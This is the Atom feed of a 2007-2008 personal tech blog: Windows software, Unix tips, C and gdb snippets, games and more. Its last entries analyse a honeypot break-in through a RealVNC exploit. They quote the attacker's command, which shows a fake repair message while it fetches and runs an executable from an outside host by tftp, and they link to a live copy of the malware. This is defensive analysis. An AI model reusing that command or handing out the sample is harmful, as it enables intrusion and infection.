<?xml version="1.0" encoding="utf-8"?>
<!-- If you are running a bot please visit this policy page outlining rules you must respect. http://www.livejournal.com/bots/ -->
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:lj="http://www.livejournal.com">
  <id>urn:lj:livejournal.com:atom1:jspence</id>
  <title>Jason Spence</title>
  <subtitle>Jason Spence</subtitle>
  <author>
    <name>Jason Spence</name>
  </author>
  <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/"/>
  <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom"/>
  <updated>2008-01-13T07:19:34Z</updated>
  <lj:journal userid="827721" username="jspence" type="personal"/>
  <link rel="service.feed" type="application/x.atom+xml" href="http://jspence.livejournal.com/data/atom" title="Jason Spence"/>
  <link rel="hub" href="http://pubsubhubbub.appspot.com/"/>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:88375</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/88375.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=88375"/>
    <title>SQL Server 2005 Express Edition</title>
    <published>2008-01-13T07:19:34Z</published>
    <updated>2008-01-13T07:19:34Z</updated>
    <content type="html">With Vista, Microsoft seems to have finally thrown support for &lt;a href="http://www.microsoft.com/sql/prodinfo/previousversions/msde/prodinfo.mspx"&gt;Microsoft SQL Server Desktop Engine&lt;/a&gt; out the window.  I have a Microsoft product that depends on a SQL Server compatible database for installation, and it flat-out refuses to install on Vista using MSDE 2000.  I grabbed &lt;a href="http://www.microsoft.com/sql/editions/express/default.mspx"&gt;SQL Server 2005 Express Edition&lt;/a&gt; instead, and while looking for the download link I couldn't believe how much other stuff the SQL group is giving away.&lt;br /&gt;&lt;br /&gt;For starters, there's a &lt;a href="http://www.sqlite.org/"&gt;SQLite competitor&lt;/a&gt; called &lt;a href="http://www.microsoft.com/sql/editions/compact/default.mspx"&gt;SQL Server Compact Edition&lt;/a&gt;, a &lt;a href="http://msdn2.microsoft.com/en-us/express/aa718391.aspx"&gt;free day of video training&lt;/a&gt; on how to use the product, a $49 &lt;a href="http://www.microsoft.com/products/info/product.aspx?view=22&amp;amp;pcid=f544888c-2638-48ed-9f0f-d814e8b93ca0&amp;amp;crumb=catpage&amp;amp;catid=cd1daedd-9465-4aef-a7bf-8f5cf09a4dc0#HowToBuy"&gt;developer edition&lt;/a&gt; with all the features of Enterprise Edition, a &lt;a href="http://msdn2.microsoft.com/en-us/express/aa718387.aspx"&gt;reporting tool&lt;/a&gt; to make quick reports from the data, and lots of other stuff.  &lt;br /&gt;&lt;br /&gt;If you don't mind being locked into Windows, that means you can get an account on a Windows Server 2003 box and throw up a whole web serving stack (IIS, ASP, SQL Server Express, C#), for nothing but the cost of the OS.  With the cost of Windows Server 2003 Web Edition licenses dropping past $250 because Windows Server 2008 is about to come out, this might be a great idea for folks who don't need or want to know anything about Unix.  If you get a hosting provider to amortize the cost of the license for you, it's even cheaper than that.&lt;br /&gt;&lt;br /&gt;By the way, you really do need a Windows Server 2003 license.  You can't weasel out of this by using a cheap XP or Vista license, since both products include a clause in the EULA saying you can't use them for "commercial hosting." (Vista EULA section 8, XP EULA section 5).</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:88282</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/88282.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=88282"/>
    <title>jspence @ 2008-01-11T23:28:00</title>
    <published>2008-01-12T07:33:47Z</published>
    <updated>2008-01-12T07:33:47Z</updated>
    <content type="html">My Thinkpad T61 is a great product except for the default Windows software load, which stinks pretty bad.  Something that's been bugging me for a while has been display artifacts when playing back full-screen video on the Quadro 140M in my model.  I just fixed it by twiddling with the Nvidia control panel settings and disabling the PowerMizer feature.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:87308</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/87308.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=87308"/>
    <title>jspence @ 2008-01-02T01:19:00</title>
    <published>2008-01-02T09:27:33Z</published>
    <updated>2008-01-02T09:27:33Z</updated>
    <content type="html">Earlier today I had to give someone a file from a unix machine, but he was behind a NAT box and all I had was python.  What to do?&lt;blockquote&gt;&lt;code&gt;&lt;pre&gt;[jspence@somewhere /home/me/somewhere]$ python2.4
Python 2.4.4 (#2, Oct 18 2007, 10:08:13)
[GCC 3.4.6 [FreeBSD] 20060305] on freebsd6
Type "help", "copyright", "credits" or "license" for more information.
&amp;gt;&amp;gt;&amp;gt; import &lt;a href="http://docs.python.org/lib/module-SimpleHTTPServer.html"&gt;SimpleHTTPServer&lt;/a&gt;
&amp;gt;&amp;gt;&amp;gt; SimpleHTTPServer.test()
Serving HTTP on 0.0.0.0 port 8000 ...&lt;/pre&gt;&lt;/code&gt;&lt;/blockquote&gt;The web server that gets started serves up the contents of the current directory, with protection against all the usual things like directory traversal and CGI execution.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:86826</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/86826.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=86826"/>
    <title>jspence @ 2007-12-13T05:35:00</title>
    <published>2007-12-13T14:02:29Z</published>
    <updated>2007-12-18T11:29:59Z</updated>
    <content type="html">Earlier this week I borrowed a labelmaker from someone to label a CD, and in turn they asked me where a good place to put the label would be.  She wasn't quite sure where the data was on the CD, and thought putting the label on the top might be bad since the data might be there.&lt;br /&gt;&lt;br /&gt;The data actually &lt;i&gt;is&lt;/i&gt; on the top side of the CD, but there's usually some coating there to keep your grubby fingers from messing it up with a label.  Maybe a picture would help:&lt;br /&gt;&lt;br /&gt;&lt;table style="text-align: center;" border="1" align="center"&gt;
&lt;tr&gt;&lt;td&gt;Polycarbonate&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;Label&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Aluminum data layer&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Polycarbonate&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;Most people see this and think, well that's stupid, the laser is shining on the bottom of the CD so why not put the data closer to the bottom?  Why is there all this plastic in the way?&lt;br /&gt;&lt;br /&gt;It's for the same reason you can drive in the rain.  The engineers who designed the original compact disc specification knew that if you focus on something far away, small objects in the way blur out and become invisible.  When you're driving in the rain, your eyes focus on the road ahead of you and stuff on your windshield disappears.  If you deliberately focus on a windshield while it's being rained on (park your car first), you can see that the rain is really kind of annoying unless you focus on objects past it.&lt;br /&gt;&lt;br /&gt;The thick polycarbonate layer between the laser and the data layer ensures that any dirt on the bottom of the CD will be on the laser's "windshield," and the laser can focus on the data down the road.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.manifest-tech.com/media_dvd/hard_coat.htm"&gt;&lt;img align="right" border="0" src="http://www.manifest-tech.com/images/pc_video/hard_coat/verbatim-videogard-diag.jpg"&gt;&lt;/a&gt;These days, the new 400 nm optical recording media have data densities so high that this simple model doesn't cut it anymore and the discs have become pretty complicated.  The picture over to the right is what Verbatim says their Blu-ray discs look like these days.  I haven't read the Blu-ray specification so I don't know what the dielectric layer is for, and it's probably going to bug me until I figure it out.  There's certainly a good reason for it, but seeing it in this context is like seeing a part labeled "Cuisinart" on my bicycle.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:86527</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/86527.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=86527"/>
    <title>And you thought your job was hard</title>
    <published>2007-11-21T22:22:47Z</published>
    <updated>2007-11-21T22:22:47Z</updated>
    <content type="html">&lt;img src="http://lightconsulting.com/~thalakan/images/faerie_waltz.gif"&gt;</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:86175</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/86175.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=86175"/>
    <title>jspence @ 2007-11-20T17:23:00</title>
    <published>2007-11-21T01:24:04Z</published>
    <updated>2007-11-21T01:24:04Z</updated>
    <content type="html">I can't believe it, but it's still logging me out.  It actually triggered the suspend timer and I had to wake the machine back up.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:85808</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/85808.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=85808"/>
    <title>jspence @ 2007-11-20T14:10:00</title>
    <published>2007-11-20T22:17:42Z</published>
    <updated>2007-11-20T22:17:42Z</updated>
    <content type="html">I rebooted my Vista dev box about an hour ago to finish installing some patches.  This usually closes all the applications and briefly displays "logging out" before jumping to the BIOS's entry vector.  Instead, it's been displaying "logging out" for over an hour now and the hard drive is going crazy with what sounds like random I/O.  I can't even connect to the box because the window shutdown flag has been set and the kernel won't let things like tlntsvr spawn new processes.&lt;br /&gt;&lt;br /&gt;I thought that some of the people who have been complaining about Vista were just whiny, but I'm beginning to suspect that avoiding Vista might be a wise decision.  Some of the features are genuinely useful, like shadow copy and cancellable I/O, but losing access to my box for an hour trumps any marginal productivity gains.&lt;br /&gt;&lt;br /&gt;It's still going...</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:82135</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/82135.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=82135"/>
    <title>jspence @ 2007-11-06T08:00:00</title>
    <published>2007-11-02T06:06:08Z</published>
    <updated>2007-11-08T04:05:29Z</updated>
    <content type="html">I went over to a friend's house for lunch the other day, and he was playing Halo 3 on his big TV.  During one of the scripted sequences, I noticed &lt;a href="http://en.wikipedia.org/wiki/Captain_Jacob_Keyes#Miranda_Keyes"&gt;Miranda Keyes&lt;/a&gt; walking down a flight of stairs, and was kind of surprised that Bungie chose an animation loop for the job.  I guess the advanced skeletal models in the things I've been looking at lately have spoiled me (*cough* Source *cough*), but seeing the character model airwalking like that was kind of jarring.  This goes double because of all the hype Halo 3 has gotten.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://upload.wikimedia.org/wikipedia/commons/d/d8/Animatsragdollphysics.jpg" border="0"&gt;&lt;br /&gt;&lt;br /&gt;Basically, this technique is a cop-out.  The way it works is you have your character model go into its animation loop for walking, then you start moving the model in a line from point A to point B (in this case, from the top of the stairs to the bottom).  On a flat surface this looks fine, because your standard walk animation has the feet start and stop on a plane perpendicular to the character's vertical axis.  If this plane is the same plane as the ground the character is walking on, you're good.&lt;br /&gt;&lt;br /&gt;But with stairs, it's a little more complicated because it's not flat.  You can model it as a slope which has a flat surface (picture a slip-and-slide), but that's not reality.  In reality, they're stairs!  The character has to put their feet on them, and that requires all kinds of messy physics stuff, constrained skeletal animations, that kind of thing.&lt;br /&gt;&lt;br /&gt;The other day, I saw that there's a company named &lt;a href="http://www.naturalmotion.com/index.htm"&gt;NaturalMotion&lt;/a&gt; that has a product called &lt;a href="http://www.naturalmotion.com/euphoria.htm"&gt;Euphoria&lt;/a&gt; that does most of this stuff.  One of the things I learned when I was studying computational physics was how very non-parallelizable these kinds of simulations are.  You can run the physics stuff itself in another thread, but the physics calculations themselves generally involve solving matrices of coefficients to differential equations representing the different force vectors affecting the object, and they all have to be done at the same time.  You also have to run the calculations several times per second, and the results have to be fed into the GPU before it can even begin rendering the frame!  I'll bet the NaturalMotion guys had a &lt;i&gt;great&lt;/i&gt; time trying to meet their performance numbers on single-core machines.&lt;br /&gt;&lt;br /&gt;While getting the URLs for the above links, I noticed that it looks like LucasArts is going to be using Euphoria for &lt;a href="http://www.lucasarts.com/games/theforceunleashed/"&gt;Star Wars: The Force Unleashed&lt;/a&gt;, which I hadn't heard about until today.  The trailer on their start page is super-duper kick-ass, and you might want to go have a look at it if you're into that kind of thing.  They really show off the physics component by having the character throw stormtroopers every which way.&lt;br /&gt;&lt;br /&gt;I also had a bizarre idea: thinking about whatever health care problems The Empire has with its stormtroopers kind of puts our country's much smaller ones into perspective.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:81264</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/81264.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=81264"/>
    <title>jspence @ 2007-11-03T08:00:00</title>
    <published>2007-10-26T10:05:08Z</published>
    <updated>2007-11-04T01:31:51Z</updated>
    <content type="html">For a contract I'm doing, I had to add some features to my hexdump library.  One thing that I wanted to do while I was overhauling it was to remove the calls to snprintf I use to convert the current offset into a string of hexadecimal characters.  I had to write my own binary-&amp;gt;hex routine to do this:&lt;blockquote&gt;&lt;code&gt;&lt;pre&gt;void write_hex(char * dst, unsigned long num)
{
  int i;

  dst[0] = '0', dst[1] = 'x';
  for(i = 7; i &amp;gt;= 0; --i) {
    dst[i + 2] = hex_digits[num % 16];
    num &amp;gt;&amp;gt;= 4; 
  }
}&lt;/blockquote&gt;&lt;/code&gt;&lt;/pre&gt;</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:79734</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/79734.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=79734"/>
    <title>jspence @ 2007-10-30T08:00:00</title>
    <published>2007-10-25T06:24:57Z</published>
    <updated>2007-10-31T15:22:06Z</updated>
    <content type="html">Some of you know what my new nickname is, and you'll get this joke:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lightconsulting.com/~thalakan/images/transformerjesus.jpg" border="0"&gt;</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:79497</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/79497.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=79497"/>
    <title>jspence @ 2007-10-28T08:00:00</title>
    <published>2007-10-25T06:16:50Z</published>
    <updated>2007-10-28T07:58:40Z</updated>
    <content type="html">I had to free up some space on a unix machine today, and I usually do that by going after the biggest files first.  Since I do the command-line thing by default, there is no graphical interface to sort the items in a directory by size.  Instead, I do what I always do:&lt;blockquote&gt;&lt;code&gt;&lt;pre&gt;ls -l | sort -n +4&lt;/pre&gt;&lt;/code&gt;&lt;/blockquote&gt;</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:79203</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/79203.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=79203"/>
    <title>jspence @ 2007-10-26T08:00:00</title>
    <published>2007-10-25T06:14:25Z</published>
    <updated>2007-10-26T09:13:38Z</updated>
    <content type="html">I had the most bizarre experience today with my SIP phone line.  Something happened to my cable modem in the middle of a conference call, and I lost audio from my gateway device.  But the gateway never dropped the call!  [1]  After saying hello a few dozen times to see if I was still connected to the conference bridge, I manually hung up and tried to get dialtone again.  That didn't work, so I did a full reset of all the network gear and finally got dialtone.  But something was wrong: when I reconnected to the conference bridge, I was hearing two audio streams interleaved with each other!  I was curious what was going on, so I broke out the packet sniffer and found out that since the gateway never did a SIP negotiation to hang up the line, I was receiving two RTP streams from the SIP provider (one from the original call and one from my new call), and the SIP gateway was dutifully feeding the incoming RTP payloads to its internal DAC for playback through my phone.  &lt;br /&gt;&lt;br /&gt;Something I can't figure out is why I was able to discern the fact that there were two interleaved RTP streams, since my SIP provider uses the industry standard of 20ms/audio frame, and I thought humans couldn't perceive choppiness at that granularity.  It may be that the gateway has further buffering for jitter, but I don't think it would do frame combining in at that stage.&lt;br /&gt;&lt;br /&gt;[1] Just in case you're interested, most FXS interfaces for analog phone systems (your wall jack, in simple terms) indicate a remote hangup to your phone hardware by temporarily throwing a big resistance in parallel with the ~48V voltage source and the load of the phone.  This usually manifests as a click, followed by the dialtone when the resistance is removed.  My fancy GE desk phone actually has special hardware in it to sense this condition.  When it does, it closes the line so I have to press a line select button to get dialtone again.  The ability to sense this remote hangup condition is of enormous importance in the automated calling industry, which incurs costs for every second their equipment is talking to an annoyed callee who has hung up on the computer's sales pitch.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:78955</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/78955.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=78955"/>
    <title>jspence @ 2007-10-25T08:00:00</title>
    <published>2007-10-25T05:47:25Z</published>
    <updated>2007-10-25T05:47:25Z</updated>
    <content type="html">Ubuntu 7.10 recently made its way onto one of my test machines.  The upgrade went fine, except that udevd was stuck in a syslog vomit loop, and a previous installation of emerald I did was interfering with the gtk-window-decorator component of the compiz stack.  The solution was to uninstall the evms and emerald packages, and everything was fine.&lt;br /&gt;&lt;br /&gt;Logging spam from applications is a pet peeve of mine.  For most projects that warrant a logging subsystem but don't run on a system that provides built-in rate limiting of log messages, I usually introduce a routine something like the following into a logging module:&lt;blockquote&gt;&lt;code&gt;&lt;pre&gt;#define LOG_THROTTLE 100 \
#define LOGMSG(msg, ...) \
do { \
  static int logthrottle_ ## __FILE__ ## "_" ## __LINE__; \
  static time_t lastlogtime_ ## __FILE__ ## "_" ## __LINE__ = time(NULL); \
  logthrottle_ ## __FILE__ ## "_" ## __LINE__ += (10 - (time(NULL) - lastlogtime_ ## __FILE__ ## "_" ## __LINE__)); \
  if(logthrottle_ ## __FILE__ ## "_" ## __LINE__ &amp;lt; 0) { \
    logthrottle_ ## __FILE__ ## "_" ## __LINE__ = 0; \
  } \
  lastlogtime_ ## __FILE__ ## "_" ## __LINE__ = time(NULL); \
  if(logthrottle_ ## __FILE__ ## "_" ## __LINE__ &amp;gt;= LOG_THROTTLE) { \
    break; \
  } \
\
  lock(logbuffer); \
  do_logmsg(msg, __VA_ARGS__); \
  unlock(logbuffer); \
} while(0)&lt;/pre&gt;&lt;/code&gt;&lt;/blockquote&gt;The basic idea is that I create unique variables for each log message being output, based on the source filename and line number where the call to the LOGMSG macro occurs.  This assumes that source filenames are unique, but in practice this is easy to satisfy simply by passing the compiler the absolute path to the source files instead of the relative path.  It's been my experience that compiler suite vendors blindly use the source filename as found in the compiler's argument buffer.&lt;br /&gt;&lt;br /&gt;When this macro is executed, it adds a constant to a throttle counter based on the time since the last time the current line was executed.  If the result is negative, we clamp it to 0.  If the throttle counter goes above some threshold value, we abort the log message, assuming one of the previous ones that got spammed to the log is going to attract the operator's attention.&lt;br /&gt;&lt;br /&gt;By the way, this is an extremely simplistic implementation that I just typed in from memory; I didn't try to compile it.  I'm just trying to get this idea of having a unique throttle variable per-log event across.&lt;br /&gt;&lt;br /&gt;You can get really fancy and introduce yet another layer on top of this that redirects all log messages of a certain type to the same routine, so that you can throttle the same message no matter how many places it gets output by your program.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:78716</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/78716.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=78716"/>
    <title>jspence @ 2007-10-24T17:19:00</title>
    <published>2007-10-25T05:16:35Z</published>
    <updated>2007-10-25T05:16:35Z</updated>
    <content type="html">A programming student asked me on IRC why his program to calculate exponents was running so slowly in his shell on my training cluster.  I didn't feel like breaking out my reverse engineering tools, so it occured to me that I could probably use the debugger to load the shared library and disassemble things, even though there wouldn't be a running executable.  I was right, and did this on a couple systems:&lt;blockquote&gt;&lt;code&gt;&lt;pre&gt;gdb -ex 'disassemble pow' /lib/libm.so.*&lt;/pre&gt;&lt;/code&gt;&lt;/blockquote&gt;I expected to simply count instructions with static analysis to see which implementation was fastest, but all three implementations I checked call other stuff in the math library.  I ended up writing a gdb macro to do dynamic analysis:&lt;blockquote&gt;&lt;code&gt;&lt;pre&gt;define count
  set $i = 0
  set $orig_fp = $fp
  while $fp &amp;gt;= $orig_fp
    stepi
    set $i = $i + 1
  end
  print $i
end

document count
  Count the number of instructions executed until the end of the current subroutine.
end&lt;/pre&gt;&lt;/code&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;By the way: when I tested the code execution, I found out that the copy of gcc 4.1 shipped with Ubuntu 7.10 can apparently do constant precomputation for my call to the pow(3) function!  This is what I got when I compiled with -O2 using the default gcc:&lt;br /&gt;&lt;br /&gt;        double d;&lt;br /&gt;        d = pow(42, 2);&lt;br /&gt;        printf("%g\n", d);&lt;br /&gt; 8048391:       c7 44 24 04 00 00 00    movl   $0x0,0x4(%esp)&lt;br /&gt; 8048398:       00 &lt;br /&gt; 8048399:       c7 44 24 08 00 90 9b    movl   $0x409b9000,0x8(%esp)&lt;br /&gt; 80483a0:       40 &lt;br /&gt; 80483a1:       c7 04 24 7c 84 04 08    movl   $0x804847c,(%esp)&lt;br /&gt; 80483a8:       e8 2b ff ff ff          call   80482d8 &amp;lt;printf@plt&amp;gt;</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:77731</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/77731.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=77731"/>
    <title>jspence @ 2007-10-19T08:00:00</title>
    <published>2007-10-19T10:24:04Z</published>
    <updated>2007-10-19T10:24:04Z</updated>
    <content type="html">I got Valve's &lt;a href="http://orange.half-life2.com/"&gt;The Orange Box&lt;/a&gt; on &lt;a href="http://steampowered.com/"&gt;Steam&lt;/a&gt; the day it came out, and had a few hours of fun playing through Portal and Half-Life 2: Episode 2.  Portal is a great game, and I had an awesome time playing through it.  It's difficult to convey its unique approach, but &lt;a href="http://www.gamerswithjobs.com/node/35227"&gt;this article&lt;/a&gt; at Gamers With Jobs gets close:&lt;blockquote&gt;Portal is an object lesson in interactive storytelling. We in the media are so fond of shaking our heads, scratching our beards and looking for the "art" in videogames. Well it's time for us all to shut the hell up. This is it. It’s in this finely crafted, lovingly rendered piece of short-story literature.&lt;/blockquote&gt;Like most players, I was pleasantly surprised at the ending credits sequence.  Portal's antagonist GLaDOS has a somewhat musical synthesized voice in the game, and the credits have that same voice break into full song, singing a song written by &lt;a href="http://jonathancoulton.com/"&gt;Jonathan Coulton&lt;/a&gt;.  I was so enamored by how perfectly it fit with the end of the story that I couldn't help but look for more information about how this beautiful piece of art came to be.  &lt;br /&gt;&lt;br /&gt;It turns out that the voice is done by &lt;a href="http://ellenmclain.com/"&gt;Ellen McLain&lt;/a&gt;, a classically trained opera singer from Tennessee, and she does quite a few voices for Valve's products.  I was rather surprised that her domain namesake wasn't registered, and that she didn't have an article on Wikipedia.  I ended up registering the domain and starting a dialog with her about having her take it over, and I also stubbed out an article for her on WP.  Further investigation revealed that the reason for her lack of Internet presence was that someone from Valve misspelled her name as "Ellen McLane" when crediting her for her work in the original Half-Life 2, and this misspelled version was repeated all over the Internet by people sourcing forum posts from Valve for the correct spelling.  I ended up mailing gaben@valvesoftware.com about it, and received the following response from Jeep Barnett at Valve:&lt;blockquote&gt;Hi Jason. I'm personally fixing all the McLain spelling mistakes right now. Thanks for the heads up. :)&lt;/blockquote&gt;I'm not the only one who noticed this, either.  Searching for Ellen McLain turns up &lt;a href="http://www.rockpapershotgun.com/?p=425"&gt;this post&lt;/a&gt; from a blogger named John Walker, who says:&lt;blockquote&gt;It has become my sole mission to get Valve’s super voice-over champion, professional soprano Ellen McLain, to have her name spelt correctly &lt;i&gt;anywhere&lt;/i&gt; on the internet.&lt;/blockquote&gt;As I type this, most of the pages linked to by the first page of a Google search for "Ellen McLane" have already been fixed, although Google's cached copies are still wrong.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:77531</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/77531.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=77531"/>
    <title>jspence @ 2007-10-18T01:46:00</title>
    <published>2007-10-18T09:11:29Z</published>
    <updated>2007-10-18T09:11:29Z</updated>
    <content type="html">You might know that Windows has a speech synthesizer.  Ever wonder how to use it from the command line?  Put this in a .vbs:&lt;blockquote&gt;&lt;code&gt;&lt;pre&gt;set obj = CreateObject("SAPI.SpVoice")
obj.Speak("Hello, world.")&lt;/pre&gt;&lt;/code&gt;&lt;/blockquote&gt;The default voice in Vista is a really sexy female job, much better than the rock-chewing robot deal that's included in XP by default.&lt;br /&gt;&lt;br /&gt;There's a delay when you call the speech synthesizer sometimes, which I originally thought was due to the use of vbscript.  I wrote a little COM client to call the &lt;a href="http://msdn2.microsoft.com/en-us/library/ms719576.aspx"&gt;SAPI TTS APIs&lt;/a&gt; directly via C++ and force synchronous output, but that didn't help.  Turns out speech output is delayed when the executable is on a network drive, or the CPU is heavily loaded.  I'm still not sure why that causes a delay; perhaps the TTS thread is set to a low priority.&lt;br /&gt;&lt;br /&gt;Mac users already have the &lt;a href="http://developer.apple.com/DOCUMENTATION/Darwin/Reference/ManPages/man1/say.1.html"&gt;say(1)&lt;/a&gt; command, so they don't have to write a script to get access to the speech synthesizer.  I hear that Leopard is supposed to have an &lt;a href="http://www.apple.com/macosx/features/300.html#universalaccess"&gt;even more nifty speech synthesizer&lt;/a&gt; than the one in Vista, complete with pauses while it "takes a breath."  It looks like they took down the sample clips as part of their web site reorg in preparation for the release of 10.5, so I can't link to the clips.  If you can find them (or try them on Leopard!), it's worth your time.  It's about time, too: the old PlainTalk voice included in 10.4 hasn't changed much since I first heard it on a Mac SE/30 in 1991 or so.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:77107</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/77107.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=77107"/>
    <title>Jets at MFA?</title>
    <published>2007-06-12T04:18:18Z</published>
    <updated>2007-06-12T04:18:18Z</updated>
    <content type="html">Around 8:30 in Mountain View, I saw (but mostly heard) jet fighters in the airspace around Moffett Federal Airfield.  As far as I know, all the jets there were moved to Fresno or farther away years ago, so what gives?&lt;br /&gt;&lt;br /&gt;I'm still hearing what sounds like low flying jet engines now.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:76982</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/76982.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=76982"/>
    <title>Malware part 2</title>
    <published>2007-05-04T16:23:05Z</published>
    <updated>2007-05-04T16:23:05Z</updated>
    <content type="html">The answer to the earlier question was that you should &lt;a href="http://upx.sf.net/"&gt;UPX&lt;/a&gt;, as hinted by the section names in the binary.&lt;br /&gt;&lt;br /&gt;Once you unpack it using UPX, you find pretty quickly that your disassembler won't take the code apart.  Why?  Because the author didn't mark the text segment executable.  Since the unpacker does its own loading, it doesn't matter whether that bit is set or not for the purposes of running the program.  It does matter for your disassembler though, because it looks at that bit to determine whether to hexdump or disassemble a given section in the binary.</content>
  </entry>
  <entry>
    <id>urn:lj:livejournal.com:atom1:jspence:76116</id>
    <link rel="alternate" type="text/html" href="http://jspence.livejournal.com/76116.html"/>
    <link rel="self" type="text/xml" href="http://jspence.livejournal.com/data/atom/?itemid=76116"/>
    <title>Back to livejournal</title>
    <published>2007-04-25T09:22:16Z</published>
    <updated>2007-04-25T09:22:16Z</updated>
    <content type="html">I tried switching to the &lt;a href="http://midnightresearch.com/"&gt;Midnight Research&lt;/a&gt; front page for my blogging, but that didn't work out the way I intended.  It looks like Livejournal fixed some of the things that made it tough for me to post code and images, so I'm going to give this page a shot again.&lt;br /&gt;&lt;br /&gt;For continuing education, I keep a few &lt;a href="http://en.wikipedia.org/wiki/Honeypot_(computing)"&gt;honeypots&lt;/a&gt; in service so I can farm attack tools and methods from them.  One thing I like to run on them is a vulnerable version of &lt;a href="http://realvnc.com/"&gt;RealVNC&lt;/a&gt;, because it gives the attacker full control of your desktop.  It's like inviting a bad guy over and watching over his shoulder as he works.&lt;br /&gt;&lt;br /&gt;Last week, someone used the RealVNC 4 exploit to break into the honeypot VM on my laptop.  The attacker opened the run dialog and ran this:&lt;blockquote&gt;&lt;code&gt;%comspec% /c echo Repairing user32.dll &amp; echo Please wait... &amp; tftp -i 74.96.xx.xx GET tvks.exe &amp; start tvks&amp;&lt;/code&gt;&lt;/blockquote&gt;(If they were really smart, they would have said something like &lt;code&gt;%comspec% /c start /min ...&lt;/code&gt; .)&lt;br /&gt;&lt;br /&gt;This throws up a window with a bogus message while it downloads a small 20k executable from a computer hanging off a cable modem somewhere.  Here's a copy:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lightconsulting.com/~thalakan/drop/tvks.exe"&gt;tvks.exe (DO NOT RUN THIS)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now might be a good time to get a copy of &lt;a href="http://hte.sf.net/"&gt;HTE&lt;/a&gt;, which you can use to analyze the program without running it.  Don't worry, it's not Windows-only.&lt;br /&gt;&lt;br /&gt;Use F6 in HTE to select pe/image to take the program apart.  You probably won't get very far, because the executable is &lt;a href="http://en.wikipedia.org/wiki/Self-extracting_archive"&gt;packed&lt;/a&gt; and you're looking at the decompression routine that writes the real executable out to memory.&lt;br 